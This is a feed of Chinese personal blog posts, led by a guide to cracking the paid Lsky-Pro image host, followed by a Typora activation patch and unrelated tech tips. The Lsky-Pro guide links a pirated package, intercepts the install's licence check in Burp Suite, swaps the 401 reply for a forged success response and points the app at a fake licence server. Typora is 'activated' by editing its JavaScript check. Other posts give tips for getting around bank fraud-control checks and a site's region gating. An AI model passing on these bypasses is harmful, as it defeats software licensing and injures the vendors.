AcoFork Blog Z

记录破解兰空图床（Lsky-Pro）

2025-08-19T00:00:00+00:00

仅供学习交流，请在下载后24h内删除。体验地址： https://lsky.2x.nz </blockquote>

下载包体</h1>
兰空图床Pro付费版包： https://r2.072103.xyz/lp223.zpaq （解压密码：2x.nz二叉树树）

配置环境</h1>

自行参考： https://docs.lsky.pro/guide/install

推荐使用宝塔面板部署，1Panel的容器化PHP好像有点问题

如果坚持要用1Panel，推荐使用PHP8.2，出现500，404等状态码问题请自行解决，似乎需要一个特殊的 fallback</code> 设置。感谢 fishcpy提供的解决方案！这里是他的部署教程： AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO</a>

    # 全局 404 交给 @fallback 处理，不强制状态码
    error_page 404 @fallback;

    location / {
        try_files $uri $uri/ @fallback;
    }

    # 命名 location：交给 index.php，但不强制 200
    location @fallback {
        rewrite ^ /index.php last;
    }

    # -----------------------------
    # 特殊路径：/api/v2/ 也走 index.php，但不能强制 200
    # -----------------------------
    location ^~ /api/v2/ {
        # 同样使用 @fallback，不强制状态码
        try_files $uri $uri/ @fallback;
    }
</code></pre>
破解授权</h1>
首先为你的Linux配置一个HTTP代理，指向 Burp Suite（软件自己找）</p>
export http_proxy="http://127.0.0.1:8080"
export https_proxy="http://127.0.0.1:8080"
</code></pre>
</p>
默认Burp仅拦截请求，不拦截响应，需要手动设置一下</p>
</p>
然后启用拦截</p>
</p>
当你通过官方教程到执行 ./install.sh</code> 的时候</p>
会要求输入域名和授权密钥，域名填你自己的，否则之后上传的图片的预览地址将会不正确！授权密钥随便填！</p>
</p>
回车，会开始转圈圈</p>
</p>
查看Burp，发现多了一个请求，首先点击放行</p>
</p>
现在出现了响应，并且状态码为401</p>
</p>
响应那块是可以编辑的，用 https://r2.072103.xyz/lsky_success_223.txt 中的内容替换原响应。然后点击放行</p>
</p>
恭喜，通过授权了</p>
</p>
安装完毕后也一样</p>
</p>

注意。如果需要更新新版本，仍然需要有效的授权密钥，否则无法得到新版包体</p>
</blockquote>
自建授权服务器</h1>
自建结束后将 config/app.php</code> 内的 服务接口地址</code> 改为你的。就不需要每次安装都手动改响应包了</p>
    /**
     * 服务接口地址
     */
    'service_api' => env('APP_SERVICE_API', 'https://huohuastudio.com'),
</code></pre>

关于今天银行卡被风控冻结 2025-08-18T00:00:00+00:00 被冻</h1> 今天凌晨因为一笔神秘收入，得到了3000 CNY，先是到账微信零钱，然后由银行卡作为中介转到支付宝余额宝，合并后共3718 CNY，再提回银行卡，最后尝试通过银行卡进行交易，提示被风控 尝试线上自助解控</h1> 通过中国工商银行 APP 查询到该卡由于近期交易异常而被冻结，同时APP给出了一个线上自助解控的方案，也就是人脸+尽职调查，提交，显示需要1~5天 前往线下网点解控</h1> 因为提交的电子解控时间为早上6点，在7点半人工客服营业后咨询得知只有通过线上自助解控或线下柜面解控来解决，而根据上文，线上自助解控需要等待1~5天，我等不及，遂前往线下网点尝试办理 网点解控-所需文件</h1> 有效的身份证 </li> 被冻结的银行卡 </li> </ul> 办理过程</h1> 办业务先排队，由于中午只有一个柜台支持办理业务，等了1小时终于排到了 首先就是给柜员小姐银行卡，身份证，然后被告知需要查看流水，需要前往4号机进行A4规格的3个月内详细流水打印 接下来就是正常的签字盖章，什么我承诺该卡不出借、出卖，我承诺未参与洗钱活动巴拉巴拉，懂的都懂 最后通过柜面级权限查询到冻结原因 柜面给出的冻结原因</h1> 该卡在短时间内进行多笔大额快入快出交易（共8笔），涉嫌业务违规操作，为了保证您的资金安全，对该卡的功能进行限制 正式解控</h1> 解控嘛，肯定是可以解控的。但是柜员小姐提到，如果日后仍然这样用卡，还是会被冻结，届时仍然需要像今天这样跑一趟 我推断的正确的用卡规范</h1> 不频繁由银行卡作为中介在支付宝和微信中互转 </li> 如果交易可以直接刷银行卡，则刷银行卡 </li> 在哪里入金就在哪里花，不要为了凑整等非必要的转账理由在各平台进行资金来回转账 </li> 如有必要对银行卡进行提现，充值等操作，请按照最小金额划转。（如微信中有3000 CNY，支付宝有1700 CNY，卡内有0 CNY，现在想在京东购买一个4000 CNY的商品，则请将支付宝的 1000 CNY转入卡内，随后转出到微信进行支付） </li> 根据银行给你划定的消费度进行银行卡的充值、提现。比如你的平均日消费是50 CNY，突然有一天你往卡里充值了 3000 CNY，再尝试进行消费就很有可能被冻结。对于在银行视角看来不属于你消费能力/承受度的金额，要不就不转，使其保持在原入金平台，要不就小额慢慢转，这样也比一次性进行大额快进快出的风险更低 </li> 我推断的风控值：支付宝＜微信＜银行卡。支付宝中进行大额交易貌似并不容易风控，至少我的支付宝从来没有风控过（千元级交易），而微信对于陌生人风控值明显更高，几乎无法短期内向陌生人转账超过 1000 CNY，银行卡可能会因为突然的大额转入转出风控 </li> </ul>Typora免付费激活 2025-08-15T00:00:00+00:00 进入 Typora 官方中文站</a> 下载并安装，假设你的安装路径为 D:/App/Typora</code> 关闭所有Typora相关进程 用VSCode打开 D:/App/Typora</code> 全局搜索，将 e.hasActivated="true"==e.hasActivated </code></pre> 改为 e.hasActivated="true"==“true” </code></pre> 打开 Typora，已激活 我从Fuwari迁移到了Zola 2025-08-15T00:00:00+00:00 为什么要换</h1> 不知道，想换就换了。 硬说的话就是看腻了玩腻了想换个女朋友了</del> 为什么选择Zola</h1> 很早之前一个人告诉我的，好像叫 Asuna？ 看上了她是用Rust编写的，二进制单文件，无依赖，毫秒构建，模板语法简洁干练啥的 体验如何</h1> 还可以，目前网站纯静态，应该也没有js？ 踩的坑</h1> Zola的全局资源引用是在 static</code> 而文章在 content/posts/xxx.md</code> 如果你想要用本地图片则需要将文章作为目录，即 content/posts/xxx/index.md</code> ，然后Zola就可以生成 content/posts/xxx/assets/xxx.jpg</code> 。无法使用Fuwari那种无论哪里都能塞图片的写法，还是有点难受的。不过旧文章我手动改一下引用相对路径即可，新文章就采用这种目录文章 的写法去写吧 </li> RSS。不能叫RSS了，Zola统称为Feed，默认使用 Atom 1.0，可以改为RSS（我没找到）启用后生成在 /atom.xml</code> </li> 如果你使用Cloudflare Page构建，要确保构建系统版本</code> 为 V1，并且设置环境变量 ZOLA_VERSION</code> 为 0.19.2</code> </li> 如果你使用Vercel构建，仅需要确保环境变量 ZOLA_VERSION</code> 为 0.19.2</code> 即可 </li> </ul> 少了什么？</h1> Umami，Google统计，懒得上了，我现在也有点讨厌js了</li> </ul> 包体变化？</h1> 如图 构建时间？</h1> 本地：20s -> 0.5s </li> Vercel：40s -> 14s </li> </ul> 性能提升？</h1> 老实说我觉得Lighthouse根本没参考性，看个乐 atpx.com 一个有趣的神秘博客 2025-08-13T18:41:24+00:00 今天偶然找到一个神秘博客，还挺有意思的，于是捐了 100 CNY 至于是咋找到这个博客的？ 请看VCR 然后我就发现了这个宝藏博客 也许是封面图比较吸引人又或是文章内容行云流水十分丰富？ 我不知道，总之我看了下去 陆陆续续读了不少 然后发现作者在当前的版本已经完全删除了JavaScript 我有一个朋友天天说HTML表单能替代JS</del> 也算是引起了共鸣吧 于情于理都得支持一下 就到这，我也不知道该写啥了，我是一个喜欢直来直去的人，真文艺不起来了 手把手教你进入e站里站（exhentai.org） 2025-08-12T19:10:40+00:00 欧美家宽IP。可以前往 https://af-archive-zola-classic.pages.dev/ak 买一个</li> </ul> 正式开始</h1> 挂上你的美国家宽梯子 进入 E-Hentai Forums</a> 点击 Register</code> 注册邮箱使用 gmail.com</code> exhentai能不能进是账号创建的时候就决定的！一定要让平台认为你是美国家宽用户！ </blockquote> 注册完毕后等大约一周（我是 2025-08-03注册的，2025-08-12已经可以进了），期间想干什么就干什么 一周之后，使用浏览器的无痕模式+英语界面 再次进入 E-Hentai Forums</a> 登录 然后前往 https://exhentai.org/ 不出意外，成功进来 接下来F12打开控制台 保存Ck以便日后登录（就无需那个傻逼美国家宽了） 你是我吗？ 2025-08-12T15:43:18+00:00 今天收到一封小邮件 我一眼就看出来了 有人Fork完我的仓库但是Giscus评论区没改成自己的。 Giscus仅允许自己</h1> 在启用了Giscus的仓库放一个文件  { "origins": ["https://af-archive-zola-classic.pages.dev"] } </code></pre> 这样设置后，即使有人在它的网站上引入了你的评论区，也会被拒绝显示 Umami仅允许自己</h1> 我博客有一个浏览量统计，基于Umami，之前是没鉴权的，如果你啥也不改，访问你的网站也会记到我网站上😅 Umami并没有给配置来更改CORS（毕竟这个访问量统计是我逆向出来的） 但是我的Umami套了EO，我可以直接写一套CORS规则仅允许自己调用 这样的话，即使你啥也不改，也不会把错误的统计信息发到我这，会报错CORS头不允许 最后</h1> 开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！ 你要是懒可以Fork上游原仓库</a>从白纸开始改</a> 通过邮件混淆技术增强博客隐私 2025-08-12T00:00:00+00:00 本文非站长原创，由 https://github.com/afoim/fuwari/pull/31 提供 </blockquote> 背景</h2> 在网页上直接暴露电子邮件地址，会使其极易受到垃圾邮件机器人的自动抓取。为了解决这一隐私和安全问题，可以采用邮件地址混淆技术。 在提交 0cc6194f35b3ff4ab53718fd98022b17ac522303</code> 中，项目引入了 rehype-email-protection</code> 插件来应对此问题。 技术方案：rehype-email-protection</code></h2> rehype-email-protection</code> 是一个 Rehype 插件，它能在网站内容处理流程中自动识别并混淆电子邮件地址。 配置实现</h3> 该功能通过在 astro.config.mjs</code> 文件中进行配置来启用。 首先，导入插件模块： import rehypeEmailProtection from "./src/plugins/rehype-email-protection.mjs"; </code></pre> 然后，在 Astro 配置的 rehypePlugins</code> 数组中添加该插件，并指定 base64</code> 作为混淆方法。 markdown: { rehypePlugins: [ // ... 其他插件 [rehypeEmailProtection, { method: "base64" }], // ... 其他插件 ], }, </code></pre> 工作机制</h3> 配置生效后，内容中所有标准的电子邮件地址（如 user@example.com</code>）在网站构建过程中，都会被转换为 Base64 编码的字符串，并通过客户端 JavaScript 进行解码。 对于普通用户，浏览器会执行脚本将编码还原为可交互的 mailto:</code> 链接，功能体验不变。而对于无法执行 JavaScript 的网络爬虫，它们只能获取到编码后的无意义字符串，从而达到了保护电子邮件地址不被轻易收集的目的。 结论</h2> 集成 rehype-email-protection</code> 插件是一种简单而有效的隐私增强手段。它以极低的配置成本，显著降低了因在公开网页上暴露电子邮件地址而导致的安全风险，是静态网站开发中值得推荐的一个实践。 引流：www.497995.xyz 树树放过我😭😭 我去！GithubEdu还能再再再嫖俩免费一年域名？！ 2025-08-11T23:04:10+00:00 前往 GitHub 学生开发者包 - GitHub Education</a> 往下滚动找到 点击登录并验证你的学生身份 短域名也有免费的！ 长域名更是不在话下！ 但是最终结账的时候只能免费两个域名哦~ 需要绑卡验证，扣0.00元。Bybit虚拟卡可用 等待跑进度条~ 接下来老生常谈的改NS到Cloudflare 成功激活~ wow！有GithubEdu资格？再嫖一个免费一年的.me域名！ 2025-08-11T22:37:55+00:00 请先通过这篇文章</a>拿到Github Edu~ </blockquote> 前往 GitHub 学生开发者包 - GitHub Education</a> 往下滚直到找到这个 点击这里 进行Github授权 成功验证学生资格咯~ 选一个你喜欢的 .me 域名，然后加入购物车（FREE！） 勾上Github Page，填上你的Github邮箱 接下来登录使用Github邮箱注册的号，没有号就注册一个！ 完成订单咯~ 在控制台将NS转到Cloudflare！ NameCheap的NS传播似乎有些慢，等等咯~ 半小时后有咯~ 有Github Education？来嫖一年免费的.tech域名！ 2025-08-11T21:45:08+00:00 请先通过这篇文章</a>拿到Github Edu~ </blockquote> 然后前往 GitHub Student Developer Pack - GitHub Education</a> 一直往下滚，直到找到 .tech 字样的项目，点击蓝色链接进入 输入域名，然后添加到购物车 点击结账 在这里登录Github账户（我已经免费拿一个了所以拿不了噜~） 不出意外你的Total应该是0，点击就购买成功！ 接下来来到 https://controlpanel.tech/ 登录你的账户 输入你的域名并跳转到控制台 改NS到Cloudflare~ 当当当当~ 激活咯~ 教你制作自己的Telegram Emoji！ 2025-08-11T21:22:46+00:00 本文讲述的是添加TG的Emoji，不是贴纸！！！ </blockquote> 准备若干张 PNG或WEBP，100x100 px的图片 然后找到 @Stickers 发送 /newemojipack</code> 这里使用静态表情，即 static</code> 接下来随便起个名字，我这里就叫 Logo</code> 然后发送你的图片 接下来发送一个能代表你表情的Emoji，并且发布 然后设置一个 pathname</code> 点击上面的链接就可以添加咯~ 如果你是Telegram Premium，还可以挂在昵称旁边哦~ 认证为Folo的创作者 2025-08-10T21:26:55+00:00 这是一篇Folo认证文章，用于认证本RSS归属于我 This message is used to verify that this feed (feedId:179303355921427456) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is. 我要怎么认证？</h1> 首先你得有一个博客，或者说一个有RSS的网站 比如 2x.nz/rss.xml 接下来在Folo处点击认证 https://folo.is 会弹出一个内容，要求让你放置到RSS 最简单的方法就是像我这样新建一篇文章，然后原封不动粘贴这段话，然后认证即可 利用Netlify WebHook来实时提醒你的订阅者博客文章更新 2025-08-09T00:01:00+00:00 早期文章提到过利用Github Webhook为你的订阅者推送文章更新消息</a> 其实已经很完美了，但是仍有一些缺陷 比如Github WebHook确实可以让Bot知道什么时候有了新的提交 但是Github并不知道构建服务需要构建多久 只能设置一个保守的延迟推送 但是当我们再使用Netlify的WebHook的时候 情况就变得不同了 Netlify可以在站点构建成功后向Bot发送WebHook 但是也有缺陷 那就是Netlify不支持检测文件变动 但是 我们只需要将两者结合 则工作流为 Push -> Github Webhook 通知Bot -> Bot收到提交信息，如果合法，则记录变动的文章，并且等待Netlify发送部署成功的WebHook -> Netlify WebHook 通知Bot站点部署成功 -> Bot即刻推送文章更新消息 √ 实操</h1> 添加HTTP POST钩子 创建一个部署成功钩子 Bot端</h1> 设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook即可。 有自己的开源项目？来申请Netlify的Open Source计划！ 2025-08-09T00:00:01+00:00 [! WARNING] Netlify OSS计划不受理个人博客 </blockquote> 确保你有一个开源项目，并且已经托管在了Netlify，Github的也有你网站的链接 前往 https://opensource-form.netlify.com/ 填写相关信息，提交。 我是这样写的 Open Source Team Application Applicant Name: no name provided Applicant Email: acofork@gmail.com Project Name: afoim/fuwari Proof of Contributors: Code of Conduct URL: https://af-archive-zola-classic.pages.dev Project License URL: MIT license Netlify Site URL: https://af-archive-zola-classic.pages.dev/posts/static-web/#netlify Notes: </code></pre> 一天后收到已开通 Open Source</code> 计划的邮件。如果没有通过也没关系，你可以直接回复这封邮件，带上你的疑问，注意使用英文 账户也自动从 Starter</code> 升级到了 Open Source</code> 计划 IPv6反解域名是什么？嫩长一坨还能托管到Cloudflare？SSL签发也没问题？ 2025-08-09T00:00:00+00:00 以下内容来自GPT-5 </blockquote> 这是一个 IPv6 反向解析（Reverse DNS）域名，遵循 ip6.arpa</code> 格式。它是把 IPv6 地址每个十六进制数字倒序排列，加上 .ip6.arpa</code> 后缀，用于 DNS 反查时将域名解析回原 IPv6 地址。 将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手</h1> 视频教程： https://www.bilibili.com/video/BV1q8tBzsEPi/ </blockquote> 前往 Hurricane Electric Free IPv6 Tunnel Broker</a> 注册一个账号（需要用域名邮箱） 创建隧道。需要一台启用了ICMP信令的VPS 填上IP后，TunnelBroker会向其发送Ping请求 如果TunnelBroker收到了回应，并且该IP没有被其他隧道绑定，就会弹出绿色，可绑定的标志 如果该IP曾被绑定，则需要进行HTTP验证 进入这个页面，查看TunnelBroker为你分配的路由IPv6 以 2001:470:24:386::/64</code> 为例 首先加0，每项4位，通过 :</code> 分割，则为 2001047000240386</code> 然后倒过来，则为 6830420007401002</code> 最后，加上 .</code> 和 .ip6.arpa</code> ，则为 6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa</code> 将其添加到Cloudflare 查看Cloudflare要求你设置的NS服务器 回到TunnelBroker进行设置 等待域被激活即可 为其签发SSL</h1> 默认 ipra 无法签发SSL，因为会被大部分SSL提供商拒签 将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题 获取必要信息，发起更改SSL提供商请求 curl --location --request PATCH 'https://api.cloudflare.com/client/v4/zones/<zone_id>/ssl/universal/settings' --header 'X-Auth-Email: 你的CF注册邮箱' --header 'X-Auth-Key: 你的CF全局APIKey' --header 'Content-Type: application/json' --data-raw '{"enabled":true,"certificate_authority":"ssl_com"}' </code></pre> 稍等片刻，CF会自动使用新的SSL提供商签发SSL 局限性</h1> 本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用 【开源】WPwebplayer——简洁通用的网页播放器 2025-08-09T00:00:00+00:00 本文章非站长本人撰写，由他人Pr添加： https://github.com/afoim/fuwari/pull/23 </blockquote> WPWebPlayer（html网站播放组件）</h1> 一款简单，简洁，轻量的网站音乐播放器体验界面</a> 项目文章（博客）</a> | 体验界面</a> | NPM包（前端资源）</a></h2> 项目特性：</h1> 简约：仅需引入css与js文件，统一使用<wp-music-player></code>标签</li> 简单：无更多冗杂功能，回归最基础的【网站音乐播放】</li> 可控性强：支持多个自定义参数，播放功能 ui颜色均可自定义</li> 易于集成：可用于任何html项目中</li> </ul> 使用方式：</h1> 在<head></code>标签中引入css与js文件</li> </ol> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-css.css"> <script src="https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-js.js"></script> </code></pre> 在<body></code>中使用<wp-music-player></code>标签</li> </ol> <wp-music-player src="" title="" artist="" cover="" autoplay="true" loop="true" volume="0.3" fixed="true" mini="true" theme="#ff6b6b"> </wp-music-player> </code></pre> （代码示例请前往example.html</a>)</h2> 参数说明</h1> 属性</th> 类型</th> 默认值</th> 描述</th></tr></thead> src</code></td> string</code></td> 无</td> 音频文件地址（必须）</td></tr> title</code></td> string</code></td> 无</td> 音乐标题</td></tr> artist</code></td> string</code></td> 无</td> 作者</td></tr> cover</code></td> string</code></td> 无</td> 封面图片URL</td></tr> autoplay</code></td> true / false</code></td> false</code></td> 是否自动播放</td></tr> loop</code></td> true / false</code></td> true</code></td> 是否循环播放</td></tr> volume</code></td> number</code> (0~1)</td> 1.0</code></td> 初始音量（0~1）</td></tr> fixed</code></td> true / false</code></td> true</code></td> 是否固定样式</td></tr> mini</code></td> true / false</code></td> true</code></td> 是否迷你模式</td></tr> theme</code></td> string</code>（色值）</td> #00c3ff</code></td> 主题颜色</td></tr> </tbody></table> 说明</h2> src&cover：均需将图片上传至图床并引用</li> autoplay：参数失效浏览器安全策略禁止未经允许的音频自动播放Chrome 中的自动播放政策</a>（需要用户手动操作后才能播放）</li> volume： 0~1 的小数值，代表 0%~100% 的音量大小</li> fixed：使播放器始终固定在页脚，不会因页面滚动产生的相对位置变化影响播放器实际位置（默认为 true）</li> mini：“迷你模式”和“完整模式”切换完整模式支持更多功能（有bug 还没修）</li> theme：主题颜色默认为#00c3ff</li> </ul> 特别鸣谢</h1> @MarSeventh</a> 叁月柒</code>大佬，在开发过程中提供宝贵帮助，解决数个关键bug Github新版学生认证怎么过？用记事本！ 2025-08-08T00:00:00+00:00 视频： https://www.bilibili.com/video/BV1kAtrzzEkG </blockquote> 确保你是个学生 并且拥有学生证、录取通知书、毕业证 中的其中一种（我使用录取通知书） 首先来到 Payment Information</a> 确保是你的真实信息，并且姓名使用拼音 如果不是，请进行更改，然后一定要重登Github！ 接下来前往 GitHub · Where software is built</a> 推荐使用校园网或者流量 按需选 这里拍照注意！如果你的证件没有英文版的，请不要直接拍原件 找个记事本手动翻译一下 比如我的录取通知书翻译为 然后用手机拍照即可 不出意外，批准！ 疑难解答</h1> 报错什么姓名不符，确保你的Github Payment Information姓名和你提交的证明文件姓名一样，如果不一样，改完一定要注销重新登录Github才行报错用了VPN或者位置不对，请确保使用中国大陆网络！如果你没有校园网就用流量！ 你说什么？企业微信能免费用Deepseek？！还能调成猫娘？！！ 2025-08-07T00:00:00+00:00 非常简单，首先你要有一个企业微信号 然后前往工作台</code> 往下拉找到智能机器人</code> 接下来就可以创建了 在角色设定</code> 可以提示词注入一下 然后你就得到了 可以通过多种方式使用~ 关于如何加入我们自托管的m.2x.nz端到端加密聊天服务器 2025-08-06T00:00:00+00:00 本群已删除此文本来是针对于 matrix.afo.im 的，现在更改为了 m.2x.nz</del> 正式开始</h1> 如果你是App，请确保已经使用 m.2x.nz ，并且点击使用Github登录，无需注册 </blockquote> 使用浏览器访问： https://matrix.to/#/#acofork:m.2x.nz 点击 Continue 选择Element 卡片上的 Continue 选择在浏览器中继续， Continue in your browser 接着来到Element门户页，首先更改语言 接着点击登录 编辑家服务器 使用其他自定义服务器： m.2x.nz</code> 。然后点击继续 点击使用Github继续 该服务器已禁用传统的邮箱注册 </blockquote> 在结束 Github OAuth2 授权后。浏览器会自动返回到 m.2x.nz</code> 域，点击 Continue 现在，你已成功登入Matrix 接着，再次访问最开始的邀请链接（在文章开头）。此时会弹出受邀界面，点击加入讨论即可 疑难解答</h1> 本服务器</h3> 无法注册？：直接点击登录，然后通过Github授权即可 无法登录？：Github用户名不能为纯数字 如何更改我的密码？：Github单点登录无密码，您只需要保证您的Github账户不丢失/封禁即可 联邦</h3> 如何加入？：输入 #acofork:m.2x.nz</code> 即可加入 通知</h3> 安卓如果无法使用 Google通知</code> 可以尝试安装 https://play.google.com/store/apps/details?id=chat.fluffy.fluffychat 。然后安装Ntfy配置通知 https://github.com/krille-chan/fluffychat/wiki/Push-Notifications-without-Google-Services 。可能需要等一段时间才能自动配置完成 为任何站点对接Giscus并且配置反垃圾！ 2025-08-04T00:00:00+00:00 Giscus使用Github Discussion实现存储用户评论，无需自托管 </blockquote> 首先你需要创建一个公开仓库 （建议新开一个干净的空仓库） 然后在仓库设置中启用 Discussion</code> 功能 前往 https://giscus.app/zh-CN 首先填写你的仓库，通过检查 接下来的映射关系</code> 十分重要！ pathname （最推荐）：假如你的文章路径为 posts/helloworld</code> 。那么只要你保证这个路径不变，评论和页面就永远匹配 </li> url：只要你换域名了，评论和页面就无法匹配 </li> title：只要你换标题了，评论和页面就无法匹配 </li> </ul> 分类推荐选择公告（announcements） 特性按需勾选 主题按喜好选择。更改后主题会立即呈现 最后将这段JS复制，放置在你想作为评论区的区块即可 配置Akismet</h1> Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统，其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg，Akismet 也是 WordPress 默认安装的插件，其使用非常广泛，设计目标便是帮助博客网站来过滤垃圾留言。 </blockquote> 注册 akismet.com</a> 选择 Akismet Personal 订阅，将滑块拉到0$，记录得到的 Akismet API Key 前往 https://github.com/afoim/giscus-fuwari/blob/main/.github/workflows/akismet-comment-check.yml 将这个Github Action部署到你的启用了Giscus的仓库 配置Secret： AKISMET_API_KEY：你的Akismet API Key </li> GH_TOKEN：前往 https://github.com/settings/tokens 创建一个具有 repo</code> write:discussion</code> user</code> 权限的Github个人令牌 </li> </ul> 测试反垃圾是否有效，发送内容为 viagra-test-123</code> 的评论。该评论一定会被当作垃圾评论 查看Github Action是否做出删评行为 封禁用户</h1> 如果有人一直刷屏但是反垃圾未检测到？ </blockquote> 你可以前往该用户个人信息页面手动封禁它 详见阻止用户访问您的个人帐户 - GitHub 文档</a> 防止新用户刷评</h1> 如果有人一直开小号刷评？ </blockquote> 使用 https://github.com/你的用户名/你的仓库/settings/interaction_limits 配置临时交互限制，这样新用户就无法对您的存储库进行任何操作 平平无奇的一张图，拉高曝光就能显现另一张图？ 2025-08-04T00:00:00+00:00 https://imghide.2x.nz/ 视频教程： https://www.bilibili.com/video/BV1wdh3zYESe/ </blockquote> 原理</h1> 首先将原图嵌入，然后将隐藏图的亮度降至极低，并以棋盘排列嵌入原图 最终生成的图片呈现一种灰色网格状 默认只能看到原图，虽然隐藏图信息仍在，但是太黑了，人眼只会把他们当作黑色像素点处理 当人为提高曝光后，原图过曝，趋于白色，丢失信息 而隐藏图被拉亮，逐渐可见 最终原图消失，而隐藏图完全显现 将你的Linux硬盘映射到Windows？ 2025-08-03T00:00:00+00:00 前往 winfsp/sshfs-win: SSHFS For Windows</a> 下载并安装 前往 evsar3/sshfs-win-manager: A GUI for SSHFS-Win (https://github.com/billziss-gh/sshfs-win)</a> 下载并安装 打开 如果的sshfs-win没有安装在默认位置需要手动指定一下，进入 Settings</code> 接下来点击 Add Connection</code> 懂的都懂 保存后点击连接按钮 接着你就能在文件资源管理器看到你的盘了 大陆直连TG Web？触手可及！ 2025-08-02T00:00:00+00:00 推荐将 index.html</code> 重命名。让别人访问根路径无法访问到正常页面即可，但不保证永远不会吃Abuse 然后创建一个新的 index.html</code> 写入： <html><head> <title>Welcome to nginx!</title> <style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> <style data-id="immersive-translate-input-injected-css">.immersive-translate-input { position: absolute; top: 0; right: 0; left: 0; bottom: 0; z-index: 2147483647; display: flex; justify-content: center; align-items: center; } .immersive-translate-attach-loading::after { content: " "; --loading-color: #f78fb6; width: 6px; height: 6px; border-radius: 50%; display: block; margin: 12px auto; position: relative; color: white; left: -100px; box-sizing: border-box; animation: immersiveTranslateShadowRolling 1.5s linear infinite; position: absolute; top: 50%; left: 50%; transform: translate(-2000%, -50%); z-index: 100; } .immersive-translate-loading-spinner { vertical-align: middle !important; width: 10px !important; height: 10px !important; display: inline-block !important; margin: 0 4px !important; border: 2px rgba(221, 244, 255, 0.6) solid !important; border-top: 2px rgba(0, 0, 0, 0.375) solid !important; border-left: 2px rgba(0, 0, 0, 0.375) solid !important; border-radius: 50% !important; padding: 0 !important; -webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important; animation: immersive-translate-loading-animation 0.6s infinite linear !important; } @-webkit-keyframes immersive-translate-loading-animation { from { -webkit-transform: rotate(0deg); } to { -webkit-transform: rotate(359deg); } } @keyframes immersive-translate-loading-animation { from { transform: rotate(0deg); } to { transform: rotate(359deg); } } .immersive-translate-input-loading { --loading-color: #f78fb6; width: 6px; height: 6px; border-radius: 50%; display: block; margin: 12px auto; position: relative; color: white; left: -100px; box-sizing: border-box; animation: immersiveTranslateShadowRolling 1.5s linear infinite; } @keyframes immersiveTranslateShadowRolling { 0% { box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 12% { box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 25% { box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0); } 36% { box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color), 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0); } 50% { box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color), 110px 0 var(--loading-color), 100px 0 var(--loading-color); } 62% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color), 120px 0 var(--loading-color), 110px 0 var(--loading-color); } 75% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color), 120px 0 var(--loading-color); } 87% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color); } 100% { box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0); } } .immersive-translate-toast { display: flex; position: fixed; z-index: 2147483647; left: 0; right: 0; top: 1%; width: fit-content; padding: 12px 20px; margin: auto; overflow: auto; background: #fef6f9; box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06); font-size: 15px; border-radius: 8px; color: #333; } .immersive-translate-toast-content { display: flex; flex-direction: row; align-items: center; } .immersive-translate-toast-hidden { margin: 0 20px 0 72px; text-decoration: underline; cursor: pointer; } .immersive-translate-toast-close { color: #666666; font-size: 20px; font-weight: bold; padding: 0 10px; cursor: pointer; } @media screen and (max-width: 768px) { .immersive-translate-toast { top: 0; padding: 12px 0px 0 10px; } .immersive-translate-toast-content { flex-direction: column; text-align: center; } .immersive-translate-toast-hidden { margin: 10px auto; } } .immersive-translate-modal { display: none; position: fixed; z-index: 2147483647; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0.4); font-size: 15px; } .immersive-translate-modal-content { background-color: #fefefe; margin: 10% auto; padding: 40px 24px 24px; border-radius: 12px; width: 350px; font-family: system-ui, -apple-system, "Segoe UI", "Roboto", "Ubuntu", "Cantarell", "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; position: relative; } @media screen and (max-width: 768px) { .immersive-translate-modal-content { margin: 50% auto !important; } } .immersive-translate-modal .immersive-translate-modal-content-in-input { max-width: 500px; } .immersive-translate-modal-content-in-input .immersive-translate-modal-body { text-align: left; max-height: unset; } .immersive-translate-modal-title { text-align: center; font-size: 16px; font-weight: 700; color: #333333; } .immersive-translate-modal-body { text-align: center; font-size: 14px; font-weight: 400; color: #333333; margin-top: 24px; } @media screen and (max-width: 768px) { .immersive-translate-modal-body { max-height: 250px; overflow-y: auto; } } .immersive-translate-close { color: #666666; position: absolute; right: 16px; top: 16px; font-size: 20px; font-weight: bold; } .immersive-translate-close:hover, .immersive-translate-close:focus { text-decoration: none; cursor: pointer; } .immersive-translate-modal-footer { display: flex; justify-content: center; flex-wrap: wrap; margin-top: 24px; } .immersive-translate-btn { width: 